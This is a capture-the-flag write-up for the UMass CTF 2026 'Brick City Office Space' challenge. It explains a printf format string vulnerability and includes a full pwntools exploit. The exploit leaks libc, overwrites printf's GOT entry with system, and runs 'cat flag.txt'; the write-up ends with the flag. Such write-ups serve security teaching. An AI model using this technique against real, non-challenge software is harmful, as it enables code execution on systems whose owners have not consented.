UMass CTF 2026 - Brick City Office Space

Help design the office space for Brick City’s new skyscraper! read flag.txt for design specifications.

nc brick-city-office-space.pwn.ctf.umasscybersec.org 45001

Enumeration

The challenge provides a 32-bit x86 Linux binary with the following protections:

  • RELRO: No RELRO (GOT is writable)
  • Stack Canary: No Canary
  • NX: Enabled
  • PIE: Disabled (Loads at 0x08048000)

Decompiling the vuln function reveals a clear Format String Vulnerability:

1
2
3
result = fgets(format, 592, stdin);
// ...
printf(format); // <--- Vulnerable call

The program allows multiple “redesigns,” enabling us to trigger the vulnerability several times in a single session. By sending AAAA %p %p %p %p, we confirm the format string offset is 4.

Exploitation Strategy

Since the binary has No RELRO and PIE is disabled, we can perform a standard GOT overwrite:

  1. Leak Libc: Use the first printf to leak a libc address from the GOT (e.g., printf@GOT).
  2. Calculate Offsets: Determine the base address of libc and the absolute address of system.
  3. GOT Overwrite: Trigger the “redesign” loop and send a payload to overwrite printf@GOT with the address of system.
  4. Trigger Shell: Send the string cat flag.txt in the next iteration. printf(format) will execute system("cat flag.txt").

Solution

The following exploit uses pwntools to automate the process, carefully avoiding backticks (`) which the binary handles specially.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *

elf = ELF('./BrickCityOfficeSpace')
libc = ELF('./libc.so.6')
p = remote('brick-city-office-space.pwn.ctf.umasscybersec.org', 45001)

offset = 4
printf_got = elf.got['printf']

# Step 1: Leak libc
payload = p32(printf_got) + b"|%4$s|"
p.sendlineafter(b"BrickCityOfficeSpace>", payload)
p.recvuntil(b"|")
leaked_printf = u32(p.recv(4))
libc.address = leaked_printf - libc.symbols['printf']

# Step 2: Overwrite GOT
p.sendlineafter(b"(y/n)", b"y")
# Avoid backticks (0x60) by adjusting the number of bytes written
payload = fmtstr_payload(offset, {printf_got: libc.symbols['system']}, numbwritten=1)
p.sendlineafter(b"BrickCityOfficeSpace>", payload)

# Step 3: Trigger system("cat flag.txt")
p.sendlineafter(b"(y/n)", b"y")
p.sendlineafter(b"BrickCityOfficeSpace>", b"cat flag.txt")
p.interactive()

Flag

UMASS{th3-f0rm4t_15-0ff-th3-ch4rt5}